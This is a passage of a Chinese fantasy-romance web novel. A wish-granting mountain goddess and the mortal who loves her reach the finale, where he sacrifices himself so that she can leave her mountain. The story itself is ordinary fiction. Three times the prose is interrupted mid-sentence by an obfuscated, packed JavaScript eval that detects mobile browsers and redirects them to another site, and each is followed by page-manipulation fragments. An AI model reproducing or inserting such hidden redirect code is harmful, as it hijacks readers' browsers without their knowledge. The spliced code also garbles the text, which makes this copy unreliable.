“姐姐？”林长青心中惊诧，茶杯都险些掉在地上“姐姐要……找一个男人吗？” “嗯，人类应该都更倾向于找异性吧？”眠云不置可否“虽然神没有繁衍需求，但从身体层面上，我与女性更相似，自然是应该找男人的。” 林长青这下子彻底不说话了，他缓了一会儿后才说道“姐姐……岐山很少有人来，姐姐应该也没有什么合适的人选吧？” “的确，”眠云皱起眉头“这是件麻烦事，毕竟我无法离开岐山，外人又进不来，这要如何产生爱情？” “或许……我可以帮姐姐。”林长青声音放的很轻，他虽年少病弱，却是相当有决断的人，少见的犹豫和试探，几乎都放在了眠云身上。 “你要怎么帮我？”眠云有些疑惑“难道，你爱我吗？” 林长青的心猛地跳了一下，他抬头看向眠云，见眠云说话时依旧没什么表情，便知她只是随口说说而已。 ……也是，连感情都无法理解的神，又怎么会察觉到他的心思呢。 “或许，我可以让姐姐爱上我？”林长青尽量平复着自己的心跳，用上毕生演技，做出轻松自在的表情“毕竟要领会爱情，光是被别人爱慕可不够，还要爱上别人啊。” “有道理，”眠云郑重点头，她是真的觉得林长青说的有道理，“那，我该如何爱上你呢？” 眠云不懂情感，谈恋爱在她看来和交朋友差不多，既然朋友可以通过努力交到，那爱情应该也可以通过努力拥有吧？ “姐姐什么都不用做，只要接受我就可以了啊。”林长青再一次恢复成笑眯眯的模样说道“毕竟，让姐姐爱上我，可是我的事，不是吗？” 这样吗？ 眠云有点儿不理解，但林长青又没有说谎，她只好点点头表示接受。 爱一个人是什么感觉，眠云不知道，实际上这个世界的绝大多数人都与她毫无关系，这一点也算是神族的共性吧，无论是看起来凶神恶煞还是好相处，神始终有一种彻骨的冷漠。 81. 第9章 自从上次答应了林长青以后，眠云多了一点儿小烦恼。 首先，眠云自己虽然不爱说话，但她并不讨厌热情话多的人，或者说对于这样的人，她是有几分偏爱的，只是……林长青最近的热情是不是有点儿过头了？ “姐姐在想什么？”林长青兴致勃勃的凑到眠云身边，眼神中隐隐有些委屈“姐姐是不是觉得我麻烦，讨厌我了？” “不是，”看着明明比她还要高上不少的林长青硬生生将头枕在她肩膀上，做着小儿撒娇一般的动作，眠云轻轻叹了一口气说道“只是……不太习惯。” 她真的不太习惯有人离她这么近，甚至离她的皮肤只隔着一层衣物，这千年来别说近到这种地步了，就连敢靠近眠云三步以内的生物都很少。 “是这样啊，”林长青神色不变，好像没听懂眠云的话一般，不仅没离开，反而更向眠云身上贴近了些“那姐姐要早点习惯啊。” “……你是故意的。”眠云扶了扶额，语气笃定，她只是不懂感情，又不是傻子。 “被姐姐看出来了，”林长青嘴上依旧很乖“我只是想帮姐姐而已，姐姐不要生我的气好不好？” 现在的眠云还不懂绿茶是什么意思，但她却深切感受到了茶言茶语的作用，虽然有心说些什么拒绝，但总觉得正常拒绝的话对林长青好像是一种伤害。 “没有，”眠云摇头“我没生气，这件事是我先提出来的，我自然不会生气。” “谢谢姐姐，”林长青稍微退开了一些，他眼睛亮晶晶的看着眠云，又笑了笑说道“姐姐喜欢我带来的东西吗？” 林长青知道寻常女儿家喜欢的珠宝首饰，绫罗绸缎之类的东西对眠云来说没什么意义，所以他费心淘换了些有意思的小东西带给眠云当做礼物。 “还挺有趣的，”见林长青可算放开她了，眠云在心里松了一口气，开始无师自通的转移话题“这本杂记中写了江南美景，不知江南是否如书中所说的那样，美的如诗如画？” “这个啊，”林长青随手翻了两页书，他过目不忘，看书的速度又快，不过几分钟就翻完了整本书“作者应当是去过江南，写的还算真实。” “你也去过江南？”眠云顺口问了一句，毕竟若是没去过，又怎能知道作者写的真不真？ “姐姐，”林长青颇为无奈的放下书“姐姐是不是忘了，我就是江南人士。” “啊……”眠云眼神有些游移，随后又落到林长青身上“那……书上说的确实有道理。” 这本杂记上写了江南多美人，如林长青这般眉眼俊秀，身材修长，皮肤白皙的少年，确实算得上美人了。 “我见过柳树，也见过河堤旁的柳树，却无法想象青砖白瓦，绿柳新叶，小巷人家的场面。”眠云又向后翻了几页书，看得出来作者很喜欢这种江南人家的生活“这样的场景，真的很美吗？” “很美，”林长青意识到了什么，他轻声说道“我自小在江南长大，那里的时光好像过的很慢，很悠闲，每个人都不急着做什么，只待到春光明媚，柳树发芽时，才知晓新一年的春天又来了。” “我也不急着做什么，毕竟在大多数时候我都很闲。”眠云看着自己的双手，神色不明“可悠闲是一种什么样的感觉？难道说不需要做什么就会让人类感到高兴吗？” 林长青被噎了一下，一时也不知该如何回答，好在眠云也不太在意他能不能答上来，只是接着说道。 “林长青，你觉得我让岐山拥有四季轮回怎么样？”眠云抬头看向山中青翠的树木，岐山永远是最适宜的温度，所有的花木都生长的很好，但这样的好总让人觉得缺了点儿什么。 缺了一种……变化！ 对就是变化，岐山的一切好像和神族一样，有着亘古不变的气质，无论千年万年，始终屹立，这种永恒虽美，却也沉重。 “每个季节都有其独特的地方，”林长青笑着从旁边的草丛中摘下一朵花别在眠云鬓边“春天百花盛开，，夏天枝肥叶厚，秋天果熟蒂落，冬天万物凋零，虽都算不上最好，却也是极为难得的风景了。” “那就决定了，”眠云听出了林长青的赞同，她点头说道“既然有了春夏秋冬，那日升月落也加上吧，毕竟人类不也讲究日出而作，日落而息吗？” 眠云身为岐山之灵，她的意志就是岐山的意志，于是林长青看到了岐山的第一个夜晚。 “原来这就是晚上啊！”眠云看了看周围，黑暗对她没有造成什么影响，不过她记得人类好像在黑夜中是看不见的，于是她抬手，无数绿色光点从山林间涌出，照亮了周围。 “的确还挺好看的，”眠云感觉颇为新奇，毕竟知道和看过是两码事“有种……朦胧的美感。” 无所不知不代表学富五车，从来没读过书的眠云文学造诣不怎么高，起码让她作诗写文章她是写不出来的。 “是很漂亮。”林长青伸出手去触碰那些光点，光点凝而不散，在他手心仿佛一盏小小的灯笼。 “姐姐，你知道吗？江南每年在七夕的时候都会燃起很多烟火，那一晚没有宵禁，只有热热闹闹的人群，到处吆喝的小贩，和各种各样的花灯。”林长青松开手，任由光点向天空飞去“我想和姐姐一起去看看。” “我没办法出岐山啊，这你是知道的。”眠云也学着林长青的样子随手抓了一个光点“别说江南了，这个世界上除了岐山以外的任何一个地方，我都去不了。” 虽然没有真正看到过，但眠云在别人的记忆里见识过各种各样的风景，还有比人类灯节更梦幻的荧光海，如果有机会的话，她是不是可以带林长青去别的时空看看？ 可惜了，她出不了岐山，虽然眠云一直知道这件事，但直到现在，她才生出几分可惜来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227036|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姐姐想去外面吗？”林长青看向眠云，认真的问道。 “想，”眠云想了一会儿，点点头“以前我没什么好奇心，可现在却有一点儿好奇外面会是什么样子的了。” “那姐姐又为什么不能出去？” “因为我与岐山的联系比较特殊，”眠云稍稍有些犹豫，可还是说道“我与岐山的灵脉相连，也就是我是岐山的一部分，岐山也是我的一部分，带着一座山，我总不能进入旁的位面吧？” “因为这个？”林长青上前撩起眠云与岐山相连的的头发，神情有些若有所思“姐姐，其实头发这种东西，也不是不能剪断的。” “不行啊，”眠云无奈的摇摇头“我的头发不仅是头发，它是一种天地规则束缚，连我也不知道应该如何解开。” “也就是说，姐姐其实是可以截断头发离开岐山的，只是不知道方法？”林长青非常敏锐的发现了眠云言语中隐藏的含义。 “应该吧，”眠云含糊不清的答道“其实这世间除了我还有很多神，也不乏有山神，那些山神一开始都是留在自己的山那里，后来也满世界乱跑了，至于他们是如何做到的，我不太清楚。” 况且其他山神的方法对她来说不一定有用，毕竟道不同。 “我……”林长青想说些什么，只是话还没说完，岐山就来了一对客人，他只好闭上嘴，先按下不提。 两人同时来到岐山的情况不多，再加上眠云现在心情不错，哪怕这一对小情侣一副赌气不愿说话的样子，眠云也主动开口问了他们的愿望。 “你什么愿望都能实现？” 情侣中的女孩名叫杨青，她显然不太相信眠云，只用怀疑的目光看着她，后又对自己的男朋友说道“我看这人是个骗子，我们走吧？” “抱歉，”杨青的男朋友王廉对眠云笑了笑说道“我们的确没什么愿望可许，天色已晚，就不多打扰了。” 说罢，王廉拉着杨青转身离开，眠云并未阻止，只是看着两人的背影没有说话。 “姐姐？”林长青微微皱眉，他看了一眼两人道“这两个人有什么问题吗？” 岐山是一个空间，没有眠云的允许，这两个人一辈子都走不出去，眠云刚刚虽然没说话，却也没直接把他们送出空间，显然是有些缘故。 “唔，算是？”眠云思考了片刻“他们不是不想许愿，而是不希望对方知道自己想许愿。” 眠云这话绕了些，但林长青还是听懂了，这倒也正常，毕竟至亲至疏是夫妻，愿望这种事，如果有第三个人知道，很容易被人拿住把柄的。 果然如眠云所说的那样，不过一会儿，杨青从树后探头探脑的向这边看，见到眠云还在，她松了一口气，又左右看看，发现没有其他人以后才走到眠云面前。 “眠云小姐，”杨青有些别扭的开口“你真的能实现我的愿望吗？” 82. 第10章 “是，”眠云微微点头“请说吧。” “我想治好他的病，”杨青急切的说道“他得了肺癌，已经无药可救了，我想治好他。” “可以，但即使他被治好了，也活不了多久。”眠云语气依旧平淡“命数如此，他是短寿之相。” 听到这儿，林长青不由得抬头看向杨青，毕竟杨青的男朋友王廉，和他的情况竟然一模一样。 “那该怎么办？”杨青攥着胸口处的衣服，眼里含着泪喃喃道“我……我把我的寿命给他，不行吗？” 眠云没有回答，杨青也意识到了这是不可能的，擦干眼泪后转身离去。 “树后面那位朋友，听够了吧？”眠云忽然开口说道“不如过来坐坐？” “抱歉，”王廉从树后走了出来，他神情有些窘迫，显然是不太习惯做这种事“我不是故意的，只是……” “只是你想来单独找我，来的时候却发现杨青也在，所以只好躲在树后面不让杨青发现。”眠云接着王廉的话说了下去，随后又说道“我明白你的意思，如果有什么事，请直说吧。” “既然是这样，我就不隐瞒什么了。”王廉苦笑一声“我找眠云姑娘其实也是为了治病的，但不是我自己的病，而是杨青的病。” 杨青有家族糖尿病史，杨青本人也有糖尿病，糖尿病虽不至于立刻死，但也是很磨人的，不仅要时刻控制，还有多种并发症，杨青这些年过的同样很辛苦。 “你自身都难保了，我以为你会更关注你自己。”眠云上下打量了王廉两眼“毕竟杨青再怎样也有二三十年可活，而你，恐怕连今年都难活过。” “我知道，”王廉神情有些黯淡“糖尿病如果好好控制的话其实还能活很久，如果我还活着，我自然可以照顾青青，就不必许愿了，可我要死了，以后青青如果病重了，又该怎么办？” “……你其实已经没有多少能作为报酬的东西了，”眠云沉默片刻才答道“唯一能算作报酬的，就是你死后的灵魂，人死后还能有灵魂，若是灵魂消散，可就什么都没有了。” “谢谢，”王廉对眠云鞠了一躬“请帮帮我。” 眠云抬手，在王廉身上打下了一个印记，这个印记会在他死后收取他的灵魂。 “好了，”眠云微微点头“你的愿望我会帮你达成，找到你女朋友以后，你们就离开吧。” 王廉离开后，林长青主动开口道“姐姐，为什么你拒绝了杨青的愿望，却答应了王廉呢？” “啊，这个啊，”眠云十分淡定“因为治愈绝症和延寿两项愿望太重了，那姑娘本就不是个好命的，除非她拿命付，否则代价她付不起。” “杨青命不好吗？”林长青眨了眨眼睛，有些疑惑的问道。 “是啊，”眠云点头“这姑娘不仅有家族遗传病，还没什么财运，事业运普通，爱情运……挺糟糕的，如果我想要报酬的话，除了她的寿命，几乎没什么可要的。” 至于王廉，说实话，这个人连命都快没了，就更没什么可要的了，但他只想让杨青免于病痛之苦，这点倒是不难，所以眠云以取走他死后的灵魂为代价，实现了他的愿望。 “嗯……姐姐有没有遇见过许很大愿望的人？”林长青忽然问道“比如争霸天下，成为天下共主之类的。” “见过，还不少呢。”眠云如实回答“只是这个愿望太飘渺了，哪怕我能用撒豆成兵给对方一支军队，对方也不一定真的能征服天下，所以这样的愿望我大多是拒绝了的。” 况且一般人的命格，根本付不起这么沉重的代价。 “那有人许下过姐姐做不到的愿望吗？”林长青似乎是来了兴趣，接着问道。 “有，”眠云点头“有人曾许下过希望自己喜欢的姑娘也喜欢自己的愿望，这个我实现不了，就建议他换一个，比如让自己变得更好看，或者更富有之类的，但他拒绝了。” “哦？为什么？” “因为他已经足够富有和好看了，”眠云说到这儿神色有些一言难尽，毕竟这么自信的人不多见“不过他倒是没说谎。” “那他最后许下了什么愿望？”林长青看着眠云难得一见的表情，也不自觉的浮现出笑容。 “什么都没许，”眠云想到这儿，也不得不感慨命运弄人“最终他喜欢的那个姑娘还是和他分开了，没什么特别的理由，就是对他没感觉。” “那如果姐姐先收了报酬，又没有实现对方的愿望呢？”林长青眼睛一眨不眨的盯着眠云看，似乎在问一个很重要的问题。 “这个……我不确定。”眠云愣了一下，她向来是先听愿望再收报酬，还从来没有发生过收了报酬却无法实现的情况“根据天道法则，我想应该是强制执行吧，毕竟你们人类欠债了不也有强制执行吗？” “今天说了这么多，你好像对这些事很感兴趣？”眠云后知后觉的发现林长青一直在问她关于愿望的问题，还都是些稀奇古怪的问题。 “替人实现愿望确实很有意思，”林长青笑了笑，随后说道“姐姐，你替别人实现过那么多愿望，那你自己的愿望又是什么呢？” “我？”眠云愣了一下“没有……也有可能很多吧，不过目前来说，应该是自由，我想离开岐山，去看看外面。” “我知道了。”林长青笑着点点头“姐姐，你能不能也给我一个愿望？” “好啊，”这个倒是不难，眠云随口就答应了下来“报酬……就是你今天带来的这些东西好了。” 眠云其实根本没想要过什么报酬，可就像算命无论多少必须要钱，否则会损命数一样，与她做交易必须要付出代价，这也是天地规则之一。 “要求这么低啊，”林长青眉眼弯弯，笑着说道“那姐姐岂不是吃亏了，我下次还给姐姐带，姐姐可不要嫌烦。” “你选的东西，自然是不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230308|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。”眠云又随便拿起了一本书，林长青带给她的书都是些杂谈趣事，看起还挺有趣的，适合打发时间“这本是妖鬼神话？” “是啊，”林长青点点头，后又像想起什么了似的笑了“姐姐帮我看看，这里面写的真不真？” “不一定真也不一定假，毕竟三千世界，无奇不有，哪怕写书人写的再离奇，也有差不多的东西。”眠云翻开书，看了几眼里面的小故事，轻轻咦了一声。 “怎么了？”林长青看过去。 “你看这个故事，”眠云指了指书上的传说“写的倒是颇有禅意。” 书中讲了一个九尾猫的传说，传说中，灵猫修行到八尾，就要开始做好事积攒功德，只有实现别人的愿望，它才能长出第九条尾巴，可实现别人的愿望需要用掉一条尾巴，这一来一回，八尾始终是八尾。 直到有一人许愿，让八尾猫长出第九条尾巴，八尾猫才得已功德圆满。 “渡人者却仍需他人渡，”眠云笑了笑“说的倒是不错。” 接下来的日子就这样如流水一般走过，眠云感觉现在好像和以前没什么不同，又好像大不相同，不管怎么说，她逐渐喜欢上了现在这种比之前要更加生机勃勃日子。 “姐姐，”林长青笑盈盈的看着眠云，二十四岁的青年出落的眉眼清俊，身形修长却不显瘦弱，他扬着和以前一样的笑容，讨巧卖乖似的对眠云说道“好看吗？” “这个？”眠云指了指自己身上的青绿色倒大袖上衣和马面裙“颜色还不错，款式也算顺眼，你的眼光很好。” 之前眠云虽然也有穿衣服，但不过是一件从头罩到脚的普通墨绿色长裙，她还是第一次收到衣服这种礼物呢。 “我就知道姐姐会喜欢。”林长青含笑接下来眠云的赞赏，他早就发现，眠云对于青绿色更偏爱些，也不喜欢太贴身的衣物，这一套裙子正适合她。 “对了，你……”眠云欲言又止，她想说些什么，最后只是道“你近来要小心些，注意安全，车马行人之类的能避则避……” 眠云几乎把自己能想到的意外都说了一遍，说到最后，连她自己都听不下去了，毕竟世事无常，就连吃饭喝水熬夜都有可能会死，寿数如此，再怎么防备也是无用。 “林长青，之前那个借寿的方法是可行的，只是上次你找来的人临时反悔了，你再找一个人过来，我重新帮你施法。” 按照她之前的计算，现在林长青的寿命只剩不到一年，纵使她治得了病，却治不了寿，这让眠云怎么能不急？ “这件事并不算太好做，”林长青微微低头，神色不变，看起来有几分委屈“最近江南正在清查匪盗，杀过人的山匪还没被抓住的已经很难找了，况且……总之情况很复杂，姐姐可能要再等一等。” “这怎么能不急，到底是你的命还是我的命啊？”眠云无奈扶额，忽然说道“你该不会是不想续命吧？” 83. 第11章 “人哪有不怕死的呢，”林长青笑了笑“只是暂时做不了这件事而已。” 林长青的态度让眠云感觉有种说不上来的不对劲，再确认过林长青没有说谎以后，眠云又叮嘱了几句注意安全，才放他离开。 和眠云道别以后，林长青踩在青石砖上，这里是他在京城的府邸，表面上虽不奢华，却处处透露着精巧。 林长青走入正堂，一荆杈布裙的温婉女子早早等候在那里，他走上前行了一礼道“孟姑娘。” “你们人类的礼仪规矩对我来说没什么意义，”孟姜头也不抬说道“我既然来了这儿，那就闲话少说，你自己也知道，你快死了吧？” 身为孟婆的孟姜比眠云更清楚寿数，她能看见林长青周身萦绕着一股淡淡的死气，随着时间推移，死气会慢慢加重，人类的身体死亡，灵魂重归地府。 “在下知晓，”林长青微微颔首“生死乃天定，任谁都有死亡的一日，在下也不例外。” “你是怎么想的？”孟姜微微一愣，随后抬头看向林长青“想就这样继续下去？想永生？想投胎？想陪着小山神？” 要知道，投胎以后前尘过往皆忘，再怎么操作，都没什么意义了。 “在下不过区区一介凡人，若说以凡人之躯不老不死，未免要求太高了些。”林长青笑着摇了摇头“凡人寿短，对于神来说，二十年的陪伴和一百年的陪伴又有什么区别呢？” “所以，你打算放弃？”孟姜皱了皱眉头，倒不是她觉得放弃不好，毕竟对凡人来说，正常轮回才是最好的，不贪生的人甚是难得。 可小山神怎么也算她的朋友了，小山神对这个男人的好，她都看在眼里，如今这人这么利落的放弃了，虽然也算正常，却总让她替小山神感到不值。 “孟姑娘，”林长青没有回答，而是换了一个问题“你知道姐姐……眠云她为什么不能离开岐山？” “诞生的时间太短了吧？”孟姜愣了一下，随意答道“按照常理来说，她是能离开的，只是还没找到离开的方法而已。” 所有神都能遨游万界，没道理偏偏眠云不行。 “或者这是她的劫难，”孟姜又补充道“神族虽然生而强大，却也不是没有劫的，你可以理解为……这是天道对神族的考验。” “我明白了，”林长青点头道“多谢孟姑娘。” “谢我做什么？”孟姜笑了一下“你可别糊弄我，你还没说，你到底要做什么呢。” “我想……送姐姐一个礼物，”林长青微微垂下眸，挡住眼中的情绪“只是姐姐好像没什么想要的，我想着，或许，我能帮姐姐实现离开岐山的愿望。” “她想要离开岐山？！” 林长青很平常的一句话，却激的孟姜站了起来，她反复问道“你确定这是她亲自告诉你的，而不是你擅自做主，揣摩她心里的想法？” “当然，”林长青感觉有些莫名其妙，但还是如实回答了“是姐姐亲口说的。” “一些年轻的小神不知道，”孟姜长叹一声“神族有时候冲口而出的话会成为谶语，如果无法离开岐山是天道给予小山神的劫难，那她说想离开，就是应劫的征兆。” 恐怕这个劫还与眼前的凡人有关，毕竟小山神是在他面前说出的要离开岐山。 “孟姑娘知道要如何渡过这次劫难吗？”林长青有些急了，微微提高音量说道。 “我的确见过很多神族渡劫，也得出了一个经验，”孟姜面无表情“那就是天劫这莫名其妙的东西，解起来也是千奇百怪，每个人的方法都不一样。” 她当初渡情劫，死了就算成功，但有些神渡情劫必须要弃情或识情，这玩意不到最后一刻，谁也说不准是成功还是没成功。 “会不会和姐姐的能力有关？”林长青忍不住说道“姐姐的能力是替人实现愿望，那离开岐山，则可以算作她自己的愿望？” “有可能，”还在出神想那些不靠谱情劫的孟姜回过神来“依靠愿力修行的神不算少，我记得他们的天劫多多少少都会和心愿扯上关系，但具体是什么，还是因人而异。” “我有一个想法，”不知怎的，林长青忽然想起了之前看到过的那个故事，之前隐隐约约的感觉，似乎有了答案“或许……我可以效仿故事里的方法。” * 岐山在有了四季更替，昼夜轮回以后，眠云又把天气和温度加入其中，现在岐山会下雨下雪，温度也有相应的变化，和外面几乎没什么两样。 “林长青，你快过来看看。” 见到林长青过来，眠云笑着向他招了招手，随后又像是想起了什么一般，拿着一把油纸伞向他走去“下雨了，怎么样，好看吗？” 岐山的雨轻柔绵密，混合着草木的气息，有风吹过的时候，冰冰凉凉的雨丝打在脸上，让人倍感清爽。 “很好看，”林长青笑了笑，他总能理解到眠云的意思，并给出相应的回答“我感觉岐山已经和外面没什么区别了。” “这个啊……其实还是有区别的，”眠云顿了顿“这里没有虫子，也没有人类，没有虫子是因为我讨厌虫子，没有人类……我也没办法把人类捉到岐山来养啊。” 虽然人类在岐山也是能正常生活下去的，可她见到的人类本就不多，更别说愿意在岐山生活的了。 “姐姐有我还不够吗？”林长青伸手覆盖住眠云握着油纸伞的手，笑着说道“这里只有我们，所以姐姐就是我一个人的啦！” “……也行吧，”这些年习惯了林长青的亲近，眠云并不觉得有什么不对，而是微微侧头想了想说道“其实你也算我养的人类呀，这样看来，岐山不是没有人类，只是没有那么多人类而已。” “嗯，”林长青又笑了一下“姐姐……想要去外面吗？” “想啊。”眠云回答的一次比一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237919|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次快，她有些疑惑的看了林长青一眼，不明白他为什么要反复问这个问题。 “那，我来实现姐姐的愿望，好不好？”林长青笑着将眠云拥入怀中，这是这么多年以来他做过最出格的动作。 “唉？”眠云有些惊讶，既惊讶于林长青的话，也惊讶于林长青为什么会忽然抱她。 “姐姐爱我吗？”眠云还没来得及问，林长青就忽然转移了话题。 “……爱。”眠云皱着眉，缓缓说道“我应该是喜欢你的，毕竟这么多年以来，你是唯一一个被允许自由出入岐山的人类。” “这是喜欢，不是爱。”林长青声音闷闷的，在雨里不甚清晰。 “喜欢和爱有什么区别？”眠云有些不解的问道“人类不也常常说什么我喜欢你，我爱你之类的，这两个应该差不多吧？” “不是，”林长青摇头，把眠云抱的更紧“喜欢，可以喜欢很多，比如人类可以喜欢朋友，喜欢家人，甚至喜欢花草树木，但爱不行，人类只能爱上一个人，甚至绝大多数人找不到自己的爱人。” “听起来，爱好像很沉重。”眠云沉默片刻说道“抱歉，我不确定我爱不爱你，或者说，我不确定我有爱别人的能力。” “我知道，”林长青的声音很平稳，几乎没什么情绪起伏“只要我爱你就足够了。” “……什么？”眠云有些茫然，她不知道该怎么说。 “姐姐，我快要死了。”林长青又没头没尾的说道“人类的一生可真短啊，我才陪了姐姐不到二十年，竟就要死了。” “你不会死，”眠云眉头皱的更紧“我会救你，帮你续命，你们人类不是说要长命百岁吗？有我你想活到一百岁不是什么问题。” “不要，”林长青孩子气的拒绝“如果我老了，不好看了，姐姐不要我怎么办，倒不如现在死，在姐姐心里我就一直是年轻的。” “别闹了！”眠云提高音量，她脸上是少见的愤怒“人类的美丑对我来说毫无意义，你难道要为了这点小事抛弃我吗？” “可是姐姐，哪怕我真活的了一百年，百年之后我仍要离开，”林长青笑了，不同于他往日温柔开朗的笑容，他的眼睛闪亮如星，却带着一股执拗“姐姐，我要做一件事，做成了这件事以后，姐姐大概会永远记得我，这样，我就能一直活在姐姐心里了。” “你就是什么都不做我也会记得你！”眠云心下有些不好的预感，这是一种近乎本能的直觉“我怎么可能会忘啊，你是我最喜欢的人，我不会忘的。” “我知道，姐姐最好了。”林长青在眠云颈窝处蹭了蹭，又笑道“可是我想让姐姐一直一直记得我，以后的日子还有那么长，姐姐说不定还有更喜欢的人，要是姐姐忘了我，我该怎么办？” “不管你要做什么，先停下！”眠云随即软了语气“算我求你，停下。” “没用的，姐姐，已经晚了。” 84. 大结局 林长青是什么样的人，但凡认识他的，都能说出个一二。 他出身江南富贵之家，自己又是才华出众的状元郎，这样的人本应是天之骄子，即使倨傲些，也能被理解成天才的怪癖，可偏偏就是这样一个人，性格还好极了，认识他的人中就没有一个讨厌他的。 他的性格，是各种意义上的好，活泼开朗，热情阳光，又很有礼仪，懂分寸，不会让人觉得过分，做事也向来是疏朗大气，即使后来做了官，在官场这种黑暗的地方，他的风评仍旧好的不可思议。 可他也并不是什么纯洁无瑕的小天使，或者说，真正单纯的人，是不可能像他这般受欢迎的。 眠云一直知道，她捡来的这个人类是个过分聪明的人类，但她并不在意这一点，毕竟在她看来，自己亲自捡来的人类总是最好的，愚笨或聪明，又有什么关系？ 但现在，眠云觉得，人类还是笨些，傻些，少想些事情好，毕竟人类的生命如此短暂且脆弱，若执着于拯救，便是万劫不复的开始。 “你做了什么？！”眠云冷静下来，她能感觉到天地规则的变化，乌云正在向岐山聚集，却不是天罚。 “很多，”林长青低低笑了笑，他在眠云脸颊边蹭了两下说道“我错了，姐姐要骂我吗？” “你不要转移话题！”眠云这次可算是充分体会到了人类的狡猾“告诉我，你做什么了？” “嗯……好吧，”林长青又笑了一下，他笃定了现在事情已经无可挽回“姐姐想从什么地方听起？” “有人在岐山外布置了阵法，”眠云面无表情，这次她是真的气狠了“谁干的？” “是我拜托孟姑娘做的，”林长青倒也诚实，丝毫没有避讳的意思“毕竟我是个凡人，很难使出什么神异手段，所以我拜托了孟姑娘来做这件事。” “阵法是做什么的？”眠云接着问道。 “其实不是什么稀罕的阵法，只是用来沟通天地，加强天地规则的而已，姐姐不用担心，我永远不会伤害你。”说罢，林长青将眠云抱的更紧，这是一个充满掌控欲的姿势，却无法抵消他心里的不安。 “我知道，我从来没有怀疑过你要害我。”感觉到林长青的情绪，眠云犹豫了一下，伸出手抱住林长青的腰以示安慰“我只是想知道，到底发生了什么？” “这个啊……其实也很简单。”林长青语气又轻又软，像是在撒娇一般“孟姑娘和我说，姐姐要渡劫了，而这个所谓的‘劫’，大概就是姐姐不能出岐山的原因。” “我知道，姐姐这么聪明，迟早能离开岐山，可我还是觉得不甘心。” “以后的岁月太漫长了，或许姐姐会忘了我，所以我决定做一件惊天动地的大事来，让姐姐永远记得我。” “所以，你筹划了这次的事？”眠云又生气又无奈“你想帮我渡劫？” “是，”林长青点头“我已经知道渡劫的方法了。” “什么方法？”眠云忍不住反问，连她自己都不知道，他怎么会知道？ “姐姐还记得九尾猫的故事吗？”林长青哼笑一声“渡人者仍需人渡，姐姐可以实现旁人的愿望，却无法实现自己的愿望，既然自己实现不了，那就只能依靠旁人了。” “你是说，要旁人帮我，我才能出岐山？”眠云愣了一下道“若真的是这样，我叫孟姜帮我一下就是了，你何必自己冒这个险？” “我想神族大概是不行的，”林长青轻轻摇了摇头“在九尾猫故事里，小男孩将许愿的机会让给了九尾猫，九尾猫才得以功德圆满，所以我猜测，应当是必须有人要让出许愿的机会才行。” “那也简单，我直接许你一个愿望不就行了，何必要弄这么大阵仗？”眠云微微皱起眉头“况且……” 况且，故事里的小男孩放弃许愿也没怎么样，林长青今日说的这些话，怎么像要和她诀别似的？ “当然不止这么简单，”林长青轻笑一声“我问过孟姑娘，假使只要有人许愿姐姐便能获得自由，那为何不找一个人，给他些好处，让他许这个愿呢，毕竟如果这样做的话，那渡过天劫，离开岐山，岂不是轻而易举。” “孟姜怎么说？”眠云意识到，孟姜所说的话就是关键所在。 “孟姑娘说，天道断然不会留下这般大的漏洞，许愿的人一需真心实意，可真心瞬息万变，谁知买来的真心算不算真心，所以嘛……”林长青说到一半，却不肯再往下说了。 “所以什么？”眠云心里急的厉害，哪有人说到关键的地方就停下了？ “所以，”林长青语气温柔的开口“许愿的人，需得付出沉重的代价，这个代价要超乎任何利益才行。” “你……”眠云愣在原地，后又问道“为什么？” 为什么要这么做，不是明知道这个代价可能沉重到一般人承受不起吗？为什么还要坚持？ “我说过了，因为我想让姐姐永远记得我啊。”林长青说话的语气仍旧温柔而热烈，他这个人就是这样，若是认定的东西，纵使付出再大的代价，他也要做到“如果这次是我帮了姐姐，姐姐会永远记得我的，不是吗？” “你现在停下我也会永远记得你！”眠云气的想骂人“你把你自己的命当什么？消耗品吗？你知不知道，这个代价可能不止是寿命？万一你连灵魂都消耗殆尽了，我要去哪儿找你啊？！” “在姐姐心里？”林长青开了个玩笑“虽然我死了，可如果我一直在姐姐心里，那就是一直活着了。” “不要对我开这种玩笑！”眠云挣脱了林长青的怀抱，她看着林长青的眼睛，一字一顿的说道“林长青，因为我没有说爱你，你就要用这种方式惩罚我吗？” 是了，如果林长青今天死在她面前，她一辈子都忘不了他，以后的日子还长，她忘不了他，却也见不到他，这何尝不是一种惩罚？ “姐姐，”林长青也软了语气“我想为你做点儿什么，而这是我唯一能为你做到的了。” 林长青知道，眠云没有说爱他不是因为他不重要，而是眠云根本无法理解爱，如果她无法理解，那他就做给她看，什么才是爱。 “姐姐，你曾经许我一愿，现在到了我许愿的时候，”林长青一字一顿的说道“我希望你能自由。” 